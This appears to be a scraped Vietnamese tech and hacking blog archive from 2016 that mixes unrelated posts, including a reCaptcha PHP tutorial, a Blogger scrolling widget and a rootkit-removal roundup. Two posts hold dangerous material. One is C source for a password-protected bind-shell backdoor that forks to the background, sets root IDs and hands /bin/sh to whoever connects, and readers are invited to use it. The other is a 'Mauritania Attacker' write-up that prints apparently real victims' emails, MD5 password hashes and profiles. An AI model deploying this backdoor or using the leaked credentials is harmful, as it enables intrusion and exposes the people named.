Private Sub CopyToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CopyToolStripMenuItem.Click
My.Computer.Clipboard.SetText(TextBox1.Text)
End Sub

Private Sub AboutToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AboutToolStripMenuItem.Click
MessageBox.Show("+ Ứng Dụng Được Phát Triển Bởi Bờm Khùng Blogger" & vbCrLf & "+ Cảm Ơn Các Bạn Đã Sữ Dụng Ứng Dụng Của Tôi" & vbCrLf & "+ Mong Các Bạn Thường Xuyên Ghé Blog " & vbCrLf & "+ Để Nhận Thêm Nhiều Ứng Dụng Nhé")
Process.Start("http://www.bomkhung.info")
End Sub


Private Sub FreshIPToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FreshIPToolStripMenuItem.Click
Dim webclient As New Net.WebClient
TextBox1.Text = webclient.DownloadString("http://kiemtraip.com/raw.php")
MessageBox.Show("Fresh IP Successfull", "Thông Báo")
End Sub
End Class

Hình ảnh của PC đã được Change IP



Và bên dưới là link down cho ai cần nhé ^^


Chúc các bạn thành công ^^

Chủ Nhật, 30 tháng 10, 2016

New facebook exploit found By Mauritania attacker

Mauritania Attacker contacted W3bsecurity again via mail to let us know that a New Exploit found called Text Load Injection in Facebook.com which adds their own message

(HACKED BY MAURITANIA ATTACKER) in the Facebook Login Page.
Link (Sign Out From Facebook First) https://apps.facebook.com/r.php?email=HACKED%20BY%20VI%E1%BB%86T%20NAM%20IOS

New Apple vulnerability allows Malicious keylogger App to Record User Inputs


Yet another Apple vulnerability has been exposed by security researchers, that can be exploited to track your finger's every action on iOS Devices i.e. iPhone, iPad etc. The exploit reportedly targets a flaw in iOS multitasking capabilities to capture user inputs, according to Security researchers at FireEye. They found a way to bypass the Apple's app review process effectively and created a proof-of-concept Monitoring app for non-jailbroken iOS 7.0.x devices. The “monitoring” app, that runs in the background of the iPhone is a Keylogger Trojan which could allow hackers to monitor user's activities on the mobile device, including - touches on the screen, home button press, volume button press and TouchID press, and send all collected events to any remote server.
 

According to researchers, their proof-of-concept app works on versions 7.0.4, 7.0.5, 7.0.6, and 6.1.x.
"Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring." FireEye researchers said.
In iOS devices, the application running in the background keeps on refreshing itself; but the
researchers also noted that disabling iOS 7's "Background App Refresh" setting would not restrict a malicious app from keylogging. "For example, an app can play music in the background without turning on its "background app refresh" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring." FireEye explained, So the only present solution to the problem is to manually remove apps from the task switcher. Earlier this week, Apple has issued an urgent update iOS 7.0.6 in response to a SSL vulnerability that might allow hackers to bypass SSL/TLS verifications on shared and public networks and steal users information from affected devices, including log-in usernames and passwords, as well as other sensitive information. The Security firm is actively working with Apple on the issue, but until the release of next iOS update, the only thing iOS users can do - Check and monitor the unnecessary applications running on the device via Task Manager and KILL THEM. Last month, Trustwave's Neal Hindocha also demonstrated that even Smartphone screen swipe gestures can be analyzed by hackers and as a proof-of-concept he developed a prototype 'Screenlogging' malware for the iOS and Android Smartphones that works the same as a keylogger software for desktop.

Exploit facebook via External Plugins and Modules

#############################################################
# Title: Exploit Facebook Via External Plugins and Modules
# Exploitation: Manually (use your brain ^_^)
# Date: 28/03/2013
# Greetz: Virusa Worm - Man Sykez - BL4ckc0d1n6 and all AnonGhost Memberz
# Author: Mauritania Attacker
#############################################################


For Example my victim is =======>>> https://www.facebook.com/gaturro22
How i could be able to retrieve his password ? easy
Proof of Concept : Facebook Id ====>>> gaturro22
P0C : ======>>> http://www.poringapic.com/profile.php?id=gaturro22
So as you can see we got the email & the password :
email: gonza.la22@gmail.com

password: e10adc3949ba59abbe56e057f20f883e

Another Demo : http://www.salondaddy.com/profile.php?ID=85


So when i try the same method with my profile for example : http://www.poringapic.com/profile.php?id=mauritanie.forever

It says "Invalid profile link followed!" loool because i didn't clicked on the Like Button so an advice becareful don't like external pages on websites they are

backdoored with a javascript malware that can sniff all your informations ^_^

So for example the ID "profile.php" is infected with "Code Disclosure Path" as you can see most of websites nowadays they use plugins of facebook on their websites

especially applications , so the facebook user must allow permission to access to the application and most of the plugins are infected !_!

So if you see that a website has the Like Plugin or use a facebook app you can surely get the passwords of the users ^_^ no doubt , just use your brain !

Another Example : http://www.rosexconect.net/profile.php?ID=15370&shPhotosMode=top

Check this : [NickName] => orso44 ===========>>> add this to www.facebook.com

http://www.facebook.com/orso44 ============>>> Facebook Profile

[Password] => 5c4e79dd006fb00a07945801234d0dd5 ===========>>> Password Hashed in Md5


Another Victim : ==========>>> https://www.facebook.com/kornberg

Infos Retrieved :

[_iProfileID] => 7893
[_aProfile] => Array
(
[datafile] => 1
[ID] => 7893
[NickName] => Kornberg
[Email] => anselmpennell435@yahoo.com
[Password] => 087fbfdeb33dae28260cfdb8f2d8a787
[Status] => Active
{
"id": "862420463",
"name": "Zoe Kornberg",
"first_name": "Zoe",
"last_name": "Kornberg",
"username": "kornberg",
"gender": "female",
"locale": "en_US"
}
Proof Of Concept : http://hollywoodfilmshoot.com/profile.php?ID=7893&sh_photoMode=rand 

I just selected this user randomly from Facebook and i remarked that she clicked on Like Button and she has been a victim °_° !!!!!!!

Google New reCaptcha using PHP - Are you a Robot?

Today Google has been introduced new reCaptcha API called Are you a robot? “No Captcha reCaptcha” a complete new design captcha system. This protects your website for spammers and robots, in this post I had implemented new reCaptch API system with HTML login form using PHP. I like the new design it is clean and impressive, hope you will like it. Please take a look quick look at the demo.

Get reCaptcha Key
Click here to create a Google reCaptcha application. Register Your Website Give your website domain details without http:

Google Site Key
You will use this in HTML code.

Google Secret Key This will help your website to communication with Google.

HTML Code
Contains simple HTML code with Google reCaptcha widget snippet. Here you have to modify the Google Site Key value.
<html>
<head>
/* Google reCaptcha JS */
<script src="https://www.google.com/recaptcha/api.js"></script>
</head>
<body>
<form action="" method="post">
Username
<input type="text" name="username" class="input" />
Password
<input type="password" name="password" class="input" />
<div class="g-recaptcha" data-sitekey="Google Site Key"></div>
<input type="submit" value="Log In" />
<span class='msg'><?php echo $msg; ?></span>
</form>
</body>
</html>
index.php Contains PHP code, here you have to modify the Google Secret Key.
<?php
include("db.php");
session_start();

$msg='';
if($_SERVER["REQUEST_METHOD"] == "POST")
{
$recaptcha=$_POST['g-recaptcha-response'];
if(!empty($recaptcha))
{
include("getCurlData.php");
$google_url="https://www.google.com/recaptcha/api/siteverify";
$secret='Google Secret Key';
$ip=$_SERVER['REMOTE_ADDR'];
$url=$google_url."?secret=".$secret."&response=".$recaptcha."&remoteip=".$ip;
$res=getCurlData($url);
$res= json_decode($res, true);
//reCaptcha success check
if($res['success'])
{
//Include login check code
}
else
{
$msg="Please re-enter your reCAPTCHA.";
}

}
else
{
$msg="Please re-enter your reCAPTCHA.";
}

}
?>
Login Check Code This code will verify username and password details in database.
$username=mysqli_real_escape_string($db,$_POST['username']);
$password=md5(mysqli_real_escape_string($db,$_POST['password']));
if(!empty($username) && !empty($password))
{
$result=mysqli_query($db,"SELECT id FROM users WHERE username='$username' and passcode='$password'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
if(mysqli_num_rows($result)==1)
{
$_SESSION['login_user']=$username;
header("location: home.php"); //Success redirection page.
}
else
{
$msg="Please give valid Username or Password.";
}

}
else
{
$msg="Please give valid Username or Password.";
}
getCurlData.php CURL function for Google reCaptcha verification. Enable php_curl extension in php.ini configuration file.
<?php
function getCurlData($url)
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16");
$curlData = curl_exec($curl);
curl_close($curl);
return $curlData;
}
?>
db.php Database configuration file, modify username, password and database values.
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'username');
define('DB_PASSWORD', 'password');
define('DB_DATABASE', 'database');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

[Code] C backconnect


Hôm nay tình cờ ghé vào blog "https://bloghackerword.blogspot.com" thấy bài này code cũng khá ok nên mình leech về cho anh em xài thữ :D Hiện tại code này mình chưa viết ra ứng dụng nhé :D vì mình không chuyên về C nên cũng khá khó :D có gì anh em thông cảm cho mình với nhé :D

#include 
#include
#include
#include
#include
#include
#include

#define ENTERPASS "Nhap mat khau: \0"
#define WELCOME "Welcome to shell\r\nlet's do it:\r\n"
#define PASSWORD "ceh.vn"
int main(int argc, char **argv)
{
struct sockaddr_in c_addr;
struct sockaddr_in s_addr;
char buf[1024];
pid_t pid;
int i,sock_descriptor,temp_sock_descriptor,c_addrsize;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

if (argc!=2){
printf("=================================\r\n");
printf("|bin.c by pr0cess edit by kai\r\n");
printf("|Usage:\r\n");
printf("|./cehbin 2080\r\n");
printf("|nc -vv targetIP 2080\r\n");
printf("|Nhap mat khau\r\n");
printf("|Chuc may man ;)\r\n");
printf("=================================\r\n");
exit(1);

}
if (fork()){
exit(0);
}

sock_descriptor=socket(AF_INET,SOCK_STREAM,0);
if (socket(AF_INET,SOCK_STREAM,0)==-1){
printf("socket failed!");
exit(1);
}
memset(&s_addr,0,sizeof(s_addr));
//bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(atoi(argv[1]));
if (bind(sock_descriptor,(struct sockaddr *)&s_addr,sizeof(s_addr))==-1){
printf("bind failed!");
exit(1);
}
if (listen(sock_descriptor,20)==-1)//accept 20 connections
{
printf("listen failed!");
exit(1);
}
c_addrsize=sizeof(c_addr);
temp_sock_descriptor=accept(sock_descriptor,(struct sockaddr *)&c_addr,&c_addrsize);
//recv
while(temp_sock_descriptor){
pid=fork();
if (pid>0) {
close(temp_sock_descriptor);
continue;
}else if (pid==0){
write(temp_sock_descriptor, ENTERPASS, strlen(ENTERPASS));
memset(buf, '\0', 1024);
recv(temp_sock_descriptor, buf, 1024, 0);

if (strncmp(buf,PASSWORD,5) !=0){
close(temp_sock_descriptor);
exit(1);
}

write(temp_sock_descriptor, WELCOME, strlen(WELCOME));
dup2(temp_sock_descriptor,0);
dup2(temp_sock_descriptor,1);
dup2(temp_sock_descriptor,2);
execl("/bin/sh", "sh", (char *) 0);
close(temp_sock_descriptor);
exit(0);
}else{

exit(1);
}
}

close(sock_descriptor);
return 0;
}

Thứ Bảy, 29 tháng 10, 2016

Thanh cuộn vô hạn từ Jquery cho Blogger


Thanh cuộn vô hạn (Infinite Scrolling) đề cập đến khả năng tiếp tục tải các nội dung mới trên trang web mà không phải làm mới nó sự xuất hiện của các bài viết là vô tận khi bạn kéo thanh cuộn xuống phía dưới chân blog. Tiện ích này được sử dụng nhiều trong các trang web lớn như Google, Facebook và Twitter và khá thành công tại đó. Lợi ích lớn nhất là tiếp xúc với nhiều nội dung và duyệt web nhanh hơn. Namkna sẽ hướng dẫn ccs bạn làm thế nào để tích hợp nó vào blog Blogger của bạn bằng cách sử dụng Ajax Infinite Scroll jQuery plugin

» Tính năng
1. Tải nhanh hơn
2. Hiển thị nội dung tăng lên nhiều lần so với dạng truyền thống,
3. Trực quan hơn với độc giả xem bằng các thiết bị cảm ứng.
4. Thích hợp nhất cho blog sử dụng nhiều hình ảnh nặng
5. Danh mục chính được đơn giản hóa
6. Cam kết sử dụng cao hơn

» Thêm Infinite Scrolling với JQuery vào blog.

1. Đăng nhập vào blog.
2. Vào bố cục.
3. Chọn Thêm tiện ích => Tạo một tiện ích HTML/Javarscipts và chọn một trong 2 code bên dưới dán vào:

<span style="color: red;">¤ Style 1</span></b>: Hiển thị trên trang chủ, trang nhãn, trang lưu trữ và cả trang bài viết (các bài trước nó sẽ được nạp đầy đủ);
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script><script type="text/javascript">
//<![CDATA[
(function($){'use strict';Date.now=Date.now||function(){return+new Date()};$.ias=function(g){var h=$.extend({},$.ias.defaults,g);var i=new $.ias.util();var j=new $.ias.paging(h.scrollContainer);var k=(h.history?new $.ias.history():false);var l=this;function init(){var d;j.onChangePage(function(a,b,c){if(k){k.setPage(a,c)}h.onPageChange.call(this,a,c,b)});reset();if(k&&k.havePage()){stop_scroll();d=k.getPage();i.forceScrollTop(function(){var a;if(d>1){paginateToPage(d);a=get_scroll_threshold(true);$('html, body').scrollTop(a)}else{reset()}})}return l}init();function reset(){hide_pagination();h.scrollContainer.scroll(scroll_handler)}function scroll_handler(){var a,scrThreshold;a=i.getCurrentScrollOffset(h.scrollContainer);scrThreshold=get_scroll_threshold();if(a>=scrThreshold){if(get_current_page()>=h.triggerPageThreshold){stop_scroll();show_trigger(function(){paginate(a)})}else{paginate(a)}}}function stop_scroll(){h.scrollContainer.unbind('scroll',scroll_handler)}function hide_pagination(){$(h.pagination).hide()}function get_scroll_threshold(a){var b,threshold;b=$(h.container).find(h.item).last();if(b.size()===0){return 0}threshold=b.offset().top+b.height();if(!a){threshold+=h.thresholdMargin}return threshold}function paginate(d,e){var f;f=$(h.next).attr('href');if(!f){if(h.noneleft){$(h.container).find(h.item).last().after(h.noneleft)}return stop_scroll()}if(h.beforePageChange&&$.isFunction(h.beforePageChange)){if(h.beforePageChange(d,f)===false){return}}j.pushPages(d,f);stop_scroll();show_loader();loadItems(f,function(a,b){var c=h.onLoadItems.call(this,b),curLastItem;if(c!==false){$(b).hide();curLastItem=$(h.container).find(h.item).last();curLastItem.after(b);$(b).fadeIn()}f=$(h.next,a).attr('href');$(h.pagination).replaceWith($(h.pagination,a));remove_loader();hide_pagination();if(f){reset()}else{stop_scroll()}h.onRenderComplete.call(this,b);if(e){e.call(this)}})}function loadItems(b,c,d){var e=[],container,startTime=Date.now(),diffTime,self;d=d||h.loaderDelay;$.get(b,null,function(a){container=$(h.container,a).eq(0);if(0===container.length){container=$(a).filter(h.container).eq(0)}if(container){container.find(h.item).each(function(){e.push(this)})}if(c){self=this;diffTime=Date.now()-startTime;if(diffTime<d){setTimeout(function(){c.call(self,a,e)},d-diffTime)}else{c.call(self,a,e)}}},'html')}function paginateToPage(a){var b=get_scroll_threshold(true);if(b>0){paginate(b,function(){stop_scroll();if((j.getCurPageNum(b)+1)<a){paginateToPage(a);$('html,body').animate({'scrollTop':b},400,'swing')}else{$('html,body').animate({'scrollTop':b},1000,'swing');reset()}})}}function get_current_page(){var a=i.getCurrentScrollOffset(h.scrollContainer);return j.getCurPageNum(a)}function get_loader(){var a=$('.ias_loader');if(a.size()===0){a=$('<div class="ias_loader">
'+h.loader+'</div>
');a.hide()}return a}function show_loader(){var a=get_loader(),el;if(h.customLoaderProc!==false){h.customLoaderProc(a)}else{el=$(h.container).find(h.item).last();el.after(a);a.fadeIn()}}function remove_loader(){var a=get_loader();a.remove()}function get_trigger(a){var b=$('.ias_trigger');if(b.size()===0){b=$('<div class="ias_trigger">
<a href="#">'+h.trigger+'</a></div>
');b.hide()}$('a',b).off('click').on('click',function(){remove_trigger();a.call();return false});return b}function show_trigger(a){var b=get_trigger(a),el;el=$(h.container).find(h.item).last();el.after(b);b.fadeIn()}function remove_trigger(){var a=get_trigger();a.remove()}};$.ias.defaults={container:'.blog-posts',scrollContainer:$(window),item:'.post-outer',pagination:'#blog-pager',next:'#blog-pager-older-link a',loader:'<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidN2o_IFn42AdwdlBEEraXPP6fuQUkR6auGXQuIbrtLtrky8zOg-Oo2naFhGHJY7ZlDMxBGhQZePmD8LQ_afHW-SV-1oyWeqBM4cKTpkFwqSBwDBrFPmfBCl31o2h4QXQZOPW9igHbyLfO/s1600/loading-namkna-blogspot-com-scolling.gif"/>',loaderDelay:600,triggerPageThreshold:8,trigger:'Load more Posts',thresholdMargin:-500,history:true,onPageChange:function(){},beforePageChange:function(){},onLoadItems:function(){},onRenderComplete:function(){ FB.XFBML.parse(); gapi.plusone.go(); twttr.widgets.load(); _gaq.push(['_trackPageview']); },customLoaderProc:false};$.ias.util=function(){var c=false;var d=false;var e=this;function init(){$(window).load(function(){c=true})}init();this.forceScrollTop=function(a){$('html,body').scrollTop(0);if(!d){if(!c){setTimeout(function(){e.forceScrollTop(a)},1)}else{a.call();d=true}}};this.getCurrentScrollOffset=function(a){var b,wndHeight;if(a.get(0)===window){b=a.scrollTop()}else{b=a.offset().top}wndHeight=a.height();return b+wndHeight}};$.ias.paging=function(){var c=[[0,document.location.toString()]];var d=function(){};var e=1;var f=new $.ias.util();function init(){$(window).scroll(scroll_handler)}init();function scroll_handler(){var a,curPageNum,curPagebreak,scrOffset,urlPage;a=f.getCurrentScrollOffset($(window));curPageNum=getCurPageNum(a);curPagebreak=getCurPagebreak(a);if(e!==curPageNum){scrOffset=curPagebreak[0];urlPage=curPagebreak[1];d.call({},curPageNum,scrOffset,urlPage)}e=curPageNum}function getCurPageNum(a){for(var i=(c.length-1);i>0;i--){if(a>c[i][0]){return i+1}}return 1}this.getCurPageNum=function(a){a=a||f.getCurrentScrollOffset($(window));return getCurPageNum(a)};function getCurPagebreak(a){for(var i=(c.length-1);i>=0;i--){if(a>c[i][0]){return c[i]}}return null}this.onChangePage=function(a){d=a};this.pushPages=function(a,b){c.push([a,b])}};$.ias.history=function(){var e=false;var f=false;function init(){f=!!(window.history&&history.pushState&&history.replaceState);f=false}init();this.setPage=function(a,b){this.updateState({page:a},'',b)};this.havePage=function(){return(this.getState()!==false)};this.getPage=function(){var a;if(this.havePage()){a=this.getState();return a.page}return 1};this.getState=function(){var a,stateObj,pageNum;if(f){stateObj=history.state;if(stateObj&&stateObj.ias){return stateObj.ias}}else{a=(window.location.hash.substring(0,7)==='#/page/');if(a){pageNum=parseInt(window.location.hash.replace('#/page/',''),10);return{page:pageNum}}}return false};this.updateState=function(a,b,c){if(e){this.replaceState(a,b,c)}else{this.pushState(a,b,c)}};this.pushState=function(a,b,c){var d;if(f){history.pushState({ias:a},b,c)}else{d=(a.page>0?'#/page/'+a.page:'');window.location.hash=d}e=true};this.replaceState=function(a,b,c){if(f){history.replaceState({ias:a},b,c)}else{this.pushState(a,b,c)}}}})(jQuery);
//]]>
</script><script>jQuery.ias();</script>
<a alt="Blogger Templates" href="http://bomkhung.info/">Blogger Templates and Widgets</a>

¤ Style 2: Chỉ Trang chủ, trang nhãn và lưu trữ trang (Nó sẽ không làm việc trong các trang viết ).

» Một số lời khuyên và mẹo nhỏ!
- Nút +1, Tweet và nút Like sẽ được nạp sau khi tất cả các yêu cầu AJAX tải xong, vì vậy nếu blog của bạn có các nút chia sẻ xã hội bên dưới mỗi bài viết thì không cần phải lo lắng về chúng không hiển thị.

- Khi bài viết mới được tải dưới một bài (Nếu bạn chọn style 1), thì Threaded trong bài viết vừa được nạp sẽ không làm việc

- Để thay thế hình ảnh tải, chỉ cần tìm kiếm ảnh có đuôi .Gif trong mã và thay thế thành URL hình ảnh khác

- Để thay đổi số lần tải trước khi người dùng được yêu cầu tải trang nhiều hơn, tìm kiếmtriggerPageThreshold:8 và thay thế các số 8 ở phía trước, nếu như bạn thiết lập giá trị là 4thì plugin sẽ tải các nội dung mới bốn lần trước khi nó yêu cầu bạn xem bạn muốn xem nội dung nhiều hơn hay không

- onRenderComplete:function() chức năng được sử dụng để nói với các plugin phải làm gì sau khi trang đã được nạp thành công, Ở đây namkna đã thêm một đoạn mã để nói với Google Analytics là một trang mới được tải để GA sẽ ghi nhận mọi yêu cầu AJAX như một trang mới thăm

- loaderDelay:600 là thời gian chờ đợi trước khi nội dung mới được tải thêm (đoan vị tính là phần nghìn giây).

- Để biết thông tin về tất cả các tùy chọn có sẵn trong plugin này hãy xem tại đây IAS Options

Quản lý số lượt người xem website or blog

Hôm nay mình xin hướng dẫn các bạn quản lý số lượt người xem đơn giản với


Còn đây là link truy cập
http://flagcounter.com/
Quá đơn giản phải không các bạn. Đây là một tiện ích khá tốt cho những ai mới tập tành làm Website or Blog. Vì nó thống kê được số lượng view vào site bạn và thông kê số người ở nước nào đang truy cập nữa :D

Mình thấy nó cũng khá tiện nên hôm nay quyết định viết bài luôn :D ai có rồi thì không cần đọc nhé và ai chưa có thì cũng nên tìm hiểu và hiểu qua một ích cách thức của nó ^^

Còn đây là đoạn Source đang dùng
<!-- flagcounter -->
<a href="http://info.flagcounter.com/ejh1"><img src="http://s10.flagcounter.com/count2/ejh1/bg_FDF7FF/txt_000000/border_35CC7B/columns_2/maxflags_10/viewers_0/labels_0/pageviews_1/flags_0/percent_0/" alt="Flag Counter" border="0" /></a>

Chúc các bạn thành công :D

Thứ Sáu, 28 tháng 10, 2016

VinaHost khuyến mại Halloween – Mua Tên miền tặng Hosting hoặc Email Hosting

VinaHost xin gửi đến quý khách hàng chương trình khuyến mại mùa Halloween,
Khuyến mại lần này áp dụng cho tên cả TÊN MIỀN VIỆT NAM và TÊN MIỀN QUỐC TẾ tại VinaHost, nhanh tay đăng kí nào!!!


Cụ thể, trong thời diễn ra chương trình khuyến mại, khách hàng trên toàn quốc khi mua tên miền bất kì tại VinaHost sẽ được nhận quà tặng tùy chọn là 1 NĂM SỬ DỤNG miễn phí EMAIL HOSTING hoặc HOSTING.

Thông tin các gói quà tặng như sau:

Email Hosting Hosting

Dung lượng lưu trữ:  2.5GB
Tài khoản email: 3
Giới hạn email/ngày: 100
Tên miền: 1
Dung lượng lưu trữ: 250MB
Băng thông: Unlimited
Database: 2
Tên miền: 1
Tài khoản email: 5
Mã khuyến mại:

Mã khuyến mại tặng Email Hosting: BAEDOMAIN1016.
Mã khuyến mại tặng Hosting: BAHDOMAIN1016
Lưu ý: Khách hàng chỉ được nhận 1 trong 2 gói quà tặng trên.

Thời gian khuyến mại: từ 28/10/2016 đến hết ngày 10/11/2016

Để được tư vấn tận tình, quý khách vui lòng liên hệ với bộ phận chăm sóc khách hàng của Công ty TNHH VinaHost theo thông tin sau:

Trụ sở chính: 351/31 Nơ Trang Long, P. 13, Q. Bình Thạnh, TP. Hồ Chí Minh
Văn phòng đại diện: 154 Nguyễn Xiển, Q. Thanh Xuân, TP. Hà Nội
Website: https://vinahost.vn
Hotline: 19006046 ext 5
Email: cskh@vinahost.vn
VinaHost hân hạnh được phục vụ quý khách!

Xem thông tin chi tiết chương trình tại đây.

Thứ Tư, 26 tháng 10, 2016

TOP 5 Phần Mềm Tiêu Diệt Mã Độc Rootkit Cho Windows

Rootkit là một dạng phần mềm độc hại (malware) được xây dựng với mục tiêu chủ yếu là để ẩn giấu các đoạn mã độc có khả năng gây nguy hiểm đến máy tính của chúng ta. Một khi đã được cài đặt, rootkit sẽ “ngụy trang” bản thân sao cho các phần mềm diệt virus thông thường khi quét qua chỉ thấy nó một là một ứng dụng vô hại.


Thường thì rootkit càng tồn tại lâu trong một chiếc máy thì nó càng gây nhiều ảnh hưởng nghiêm trọng tới tính bảo mật của thiết bị cũng như đến độ an toàn thông tin của người dùng. Ngoài ra, rootkit còn trở nên nguy hiểm hơn khi nó giấu thêm một malware nào đó, và đây là cách tấn công thường được các tin tặc tận dụng.

Malwarebytes AntiRootkit


Là phần mềm bảo mật có khả năng phát hiện được những phần mềm Rootkit nguy hiểm nhất hiện nay. Phần mềm này có cách thức làm việc khá “sạch sẽ”, sau khi phát hiện và loại bỏ Rootkit ra khỏi Windows, nó còn tiến hành kiểm tra, sửa lỗi và khôi phục hoạt động của Internet Access, Windows Firewall, và Windows Update. Nhằm đảm bảo rằng Windows sẽ hoạt động ổn định trở lại sau khi xong việc.

BitDefender Rootkit Remover


Bitdefender Rootkit Remover là một tiện ích nhỏ gọn đến từ Bitdefender Labs cho phép bạn loại bỏ rootkit chỉ với một cú nhấp chuột. Chương trình có thể loại bỏ các mối đe dọa rootkit, bao gồm Mebroot, gia đình TDL (TDL/SST/Pihar), Mayachok, Mybios, Plite, XPaj, Whistler, Alipop, CPD, Fengd, FIPS, Guntior, MBR Locker, Mebratix, Niwa, Ponreb, Ramnit, Stoned, Yoddos, Yurn, Zegost và Necurs.

Bitdefender Rootkit Remover sẽ không yêu cầu quá nhiều cài đặt phức tạp hoặc khó hiểu, nó là công cụ di động có thể chạy trực tiếp thông qua tập tin thực thi tải về. Giao diện người dùng cũng khá đơn giản và nhỏ gọn, hỗ trợ duy trì cho người dùng một cảm giác tốt đẹp nhất.

McAfee Rootkit Remover

Là sản phẩm “chính hãng” của McAfee, McAfee Rootkit Remover có thể phát hiện và tiêu diệt nhanh gia đình Rootkit ZeroAccess và TDSS.


Sau khi tải về, bạn có thể sử dụng ngay McAfee Rootkit Remover mà không cần cài đặt. Người dùng sẽ được McAfee Rootkit Remover hướng dẫn trải qua 3 bước làm việc trong môi trường dòng lệnh và sử dụng Command Prompt để tiến hành phát hiện và loại bỏ Rootkit.

Kaspersky TDSSkiller

TDSSkiller là ứng dụng được phát hành bởi Kaspersky, mục đích nhầm hỗ trợ cho người dùng sử dụng phần mềm bảo mật Kaspersky Antivirus của hãng. Kaspersky TDSSkiller sẽ tiến hành dò tìm và tiêu diệt rootkit và bootkit trên Windows mỗi khi được kích hoạt sử dụng. Phần mềm này có giao diện bắt mắt, và dễ sử dụng.


Tốc độ quét của Kaspersky TDSSkiller khá nhanh, thông thường sẽ hoàn thành việc quét hệ thống chỉ trong vào giây.

Sophos Rootkit Removal

Có thể xem Sophos Rootkit Removal là một phần mềm chuyên phát hiện và tiêu diệt Rootkit chuyên nghiệp. Nó có thể nhận biết và tiêu diệt hầu hết các loại Rootkit, phần mềm độc hại và mã độc hiện nay do được trang bị một loạt các công cụ kèm theo để làm việc.


Một điểm khá tuyệt khác của Sophos Rootkit Removal là nó có thể kết hợp với các chương trình antivirus khác trên máy để làm thành một rào chắn an toàn cho Windows.

Lời kết
Do Rootkit có thể giả dạng các phần mềm phổ biến hiện nay để dễ dàng xâm nhập vào máy tính của bạn. Vì thế, ngoại trừ việc luôn luôn tải các phần mềm tiện ích ở ngay trang chủ của phần mềm và các nguồn cung cấp tin cậy, bạn cũng nên thường xuyên kích hoạt và tiến hành quét máy tính bằng các công cụ Anti-Rootkit để nhanh chóng phát hiện và loại bỏ sớm để tránh gây ảnh hưởng đến hệ thống.